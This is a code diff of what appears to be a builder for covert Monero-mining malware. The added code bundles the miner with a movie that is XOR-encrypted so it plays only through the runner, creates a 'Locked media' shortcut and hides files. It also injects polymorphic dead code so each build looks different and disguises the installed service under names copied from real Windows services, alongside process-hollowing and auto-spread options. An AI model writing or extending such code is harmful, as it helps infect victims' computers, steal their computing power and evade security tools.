var bundleDownloadURL string
var bundleSize int64
exportPath := ""
if fusionEnabled {
exportLabel := req.FusionMediaBaseName
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
if req.FusionPayloadKind != "video" {
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
RunnerName: finalName,
MediaName: filepath.Base(exportLabel),
PayloadKind: req.FusionPayloadKind,
MediaMode: req.FusionMediaMode,
}
if readme.Title == "" {
readme.Title = sanitizeFileName(req.WorkerName)
}
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionExportDir = dir
exportPath = filepath.Join(dir, finalName)
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: "README.txt",
FilePath: filepath.Join(dir, "README.txt"),
})
for i := range extraArtifacts {
if extraArtifacts[i].FileName != "README.txt" {
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
}
}
bundleFileName = fusionBundleZipName(subdir)
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
if err := zipDirectory(dir, bundleBuildPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
if st, err := os.Stat(bundleBuildPath); err == nil {
bundleSize = st.Size()
}
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
} else {
var err error
exportPath, err = h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
log.Printf("Failed to record build: %v", err)
}
return BuildResponse{
resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
FusionExportDir: fusionExportDir,
ExtraFiles: extraArtifacts,
BundleFileName: bundleFileName,
BundleDownloadURL: bundleDownloadURL,
BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}, http.StatusOK, finalPath
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
resp.FileName = bundleFileName
if bundleSize > 0 {
resp.FileSize = bundleSize
}
}
return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionMediaMode == "" {
req.FusionMediaMode = "paired"
}
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
return nil
}
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil || header.Size == 0 {
return "", nil, fmt.Errorf("prep.exe upload is empty")
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil {
return "", nil, fmt.Errorf("fusion upload is missing")
}
if header.Size > 150<<20 {
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
name := strings.ToLower(header.Filename)
if !strings.HasSuffix(name, ".exe") {
return "", nil, fmt.Errorf("prep upload must be a .exe file")
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
}
prepRoot := filepath.Join(h.dataDir, "preps")
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, "prep.exe")
dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if _, err := io.Copy(out, file); err != nil {
out.Close()
written, err := io.Copy(out, file)
out.Close()
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
out.Close()
if written == 0 {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload is empty")
}
if written > FusionMaxUploadBytes {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
func isFusionPayloadExt(name string) bool {
switch strings.ToLower(filepath.Ext(name)) {
case ".exe", ".mp4", ".mkv", ".mov":
return true
default:
return false
}
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
@@ -675,9 +845,10 @@ import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
WorkerName: %q,
ServerURL: %q,
BackupServerURLs: %s,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
formatGoStringSlice(req.BackupServerURLs),
req.Wallet,
req.Threads,
req.ThreadMode,
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
)
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
name, _ := pickServiceMasquerade(buildID)
return name
}
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
_, donor := pickServiceMasquerade(buildID)
return donor
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
return true
}
func formatGoStringSlice(values []string) string {
if len(values) == 0 {
return "nil"
}
parts := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v != "" {
parts = append(parts, fmt.Sprintf("%q", v))
}
}
if len(parts) == 0 {
return "nil"
}
return "[]string{" + strings.Join(parts, ", ") + "}"
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",

View File

@@ -0,0 +1,7 @@
package builder
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
const FusionDeliverablesDir = "fusion-deliverables"

View File

@@ -0,0 +1,67 @@
package builder
import (
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
)
const mediaLockMagic = "CMVD"
// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest).
func EncryptMediaFile(srcPath, destPath string, key []byte) error {
if len(key) == 0 {
return fmt.Errorf("media lock key is empty")
}
in, err := os.Open(srcPath)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(destPath)
if err != nil {
return err
}
defer out.Close()
if _, err := io.WriteString(out, mediaLockMagic); err != nil {
return err
}
buf := make([]byte, 256*1024)
ki := 0
for {
n, readErr := in.Read(buf)
if n > 0 {
chunk := make([]byte, n)
for i := 0; i < n; i++ {
chunk[i] = buf[i] ^ key[ki%len(key)]
ki++
}
if _, err := out.Write(chunk); err != nil {
return err
}
}
if readErr == io.EOF {
break
}
if readErr != nil {
return readErr
}
}
return nil
}
func NewMediaLockKey() ([]byte, error) {
key := make([]byte, 32)
if _, err := rand.Read(key); err != nil {
return nil, err
}
return key, nil
}
func MediaLockKeyB64(key []byte) string {
return base64.StdEncoding.EncodeToString(key)
}

View File

@@ -0,0 +1,28 @@
package builder
import (
"os"
"path/filepath"
"testing"
)
func TestEncryptMediaRoundTrip(t *testing.T) {
dir := t.TempDir()
src := filepath.Join(dir, "clip.mkv")
enc := filepath.Join(dir, "clip.mkv.cmdata")
plain := []byte("fake movie bytes 12345")
if err := os.WriteFile(src, plain, 0644); err != nil {
t.Fatal(err)
}
key, err := NewMediaLockKey()
if err != nil {
t.Fatal(err)
}
if err := EncryptMediaFile(src, enc, key); err != nil {
t.Fatal(err)
}
st, _ := os.Stat(enc)
if st.Size() <= int64(len(plain)) {
t.Fatalf("encrypted size unexpected: %d", st.Size())
}
}

View File

@@ -0,0 +1,171 @@
package builder
import (
"crypto/rand"
"encoding/hex"
"fmt"
"hash/fnv"
mrand "math/rand"
"os"
"path/filepath"
"strings"
)
// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
if seed == "" {
b := make([]byte, 16)
_, _ = rand.Read(b)
seed = hex.EncodeToString(b)
}
h := fnv.New64a()
_, _ = h.Write([]byte(seed))
rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
nonce := hex.EncodeToString(randomBytes(rng, 12))
funcCount := 6 + rng.Intn(8)
var funcDefs strings.Builder
var funcNames []string
for i := 0; i < funcCount; i++ {
name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
funcNames = append(funcNames, name)
funcDefs.WriteString(generateDeadFunc(name, rng))
}
strCount := 24 + rng.Intn(32)
var strLines strings.Builder
for i := 0; i < strCount; i++ {
s := randomString(rng, 16+rng.Intn(48))
strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
}
var tableEntries strings.Builder
for _, n := range funcNames {
tableEntries.WriteString("\t\t" + n + ",\n")
}
content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
// Build seed: %s
package polymorph
import (
"crypto/md5"
"encoding/hex"
)
const buildNonce = %q
var decoyStrings = []string{
%s}
var buildMarker = %q
func init() {
_ = initDecoys()
}
func initDecoys() int {
sum := 0
for _, fn := range deadFuncTable {
sum += fn()
}
if len(decoyStrings) > 0 {
h := md5.Sum([]byte(buildMarker + buildNonce))
sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
}
_ = hex.EncodeToString([]byte(buildNonce))
return sum
}
func deadFuncTable() []func() int {
return []func() int{
%s }
}
%s
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
dir := filepath.Join(agentDir, "polymorph")
if err := os.MkdirAll(dir, 0755); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
return "", err
}
extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
return extraLdflags, nil
}
func generateDeadFunc(name string, rng *mrand.Rand) string {
ops := 4 + rng.Intn(6)
var b strings.Builder
b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
for i := 0; i < ops; i++ {
switch rng.Intn(4) {
case 0:
b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
case 1:
b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
case 2:
b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
default:
b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
}
}
b.WriteString("\treturn x & 0xffff\n}\n\n")
return b.String()
}
func randomBytes(rng *mrand.Rand, n int) []byte {
b := make([]byte, n)
for i := range b {
b[i] = byte(rng.Intn(256))
}
return b
}
func randomIdent(rng *mrand.Rand, n int) string {
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
out := make([]byte, n)
for i := range out {
out[i] = chars[rng.Intn(len(chars))]
}
return string(out)
}
func randomString(rng *mrand.Rand, n int) string {
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
out := make([]byte, n)
for i := range out {
out[i] = chars[rng.Intn(len(chars))]
}
return string(out)
}
func pickServiceMasquerade(seed string) (serviceName, donor string) {
profiles := []struct{ name, donor string }{
{"WinrmHostSvc", "WinRM"},
{"WcmsvcWorker", "Wcmsvc"},
{"DhcpMonitorHost", "Dhcp"},
{"DnscacheSync", "Dnscache"},
{"EventLogFwd", "EventLog"},
{"LanmanWorkstationMgr", "LanmanWorkstation"},
{"RpcEptMapperHost", "RpcEptMapper"},
{"ScheduleHostSvc", "Schedule"},
{"ShellHWDetectionMon", "ShellHWDetection"},
{"TrkWksHost", "TrkWks"},
}
h := fnv.New32a()
_, _ = h.Write([]byte(seed))
idx := int(h.Sum32()) % len(profiles)
if idx < 0 {
idx = -idx
}
p := profiles[idx]
return p.name, p.donor
}

View File

@@ -0,0 +1,13 @@
//go:build !windows
package builder
import "fmt"
func createMovieLockShortcut(_, _, _, _ string) error {
return fmt.Errorf("movie lock shortcuts require Windows forge host")
}
func setHiddenFile(_ string) error {
return nil
}

View File

@@ -0,0 +1,48 @@
//go:build windows
package builder
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
)
func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
lnkPath, _ = filepath.Abs(lnkPath)
targetExe, _ = filepath.Abs(targetExe)
workDir := filepath.Dir(targetExe)
if iconLocation == "" {
iconLocation = `%SystemRoot%\System32\imageres.dll,196`
}
lnkEsc := escapePS(lnkPath)
targetEsc := escapePS(targetExe)
workEsc := escapePS(workDir)
iconEsc := escapePS(iconLocation)
argsEsc := escapePS(arguments)
script := fmt.Sprintf(
`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
)
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
}
func setHiddenFile(path string) error {
path, _ = filepath.Abs(path)
script := fmt.Sprintf(
`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
escapePS(path),
)
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
return cmd.Run()
}
func escapePS(s string) string {
return strings.ReplaceAll(s, "'", "''")
}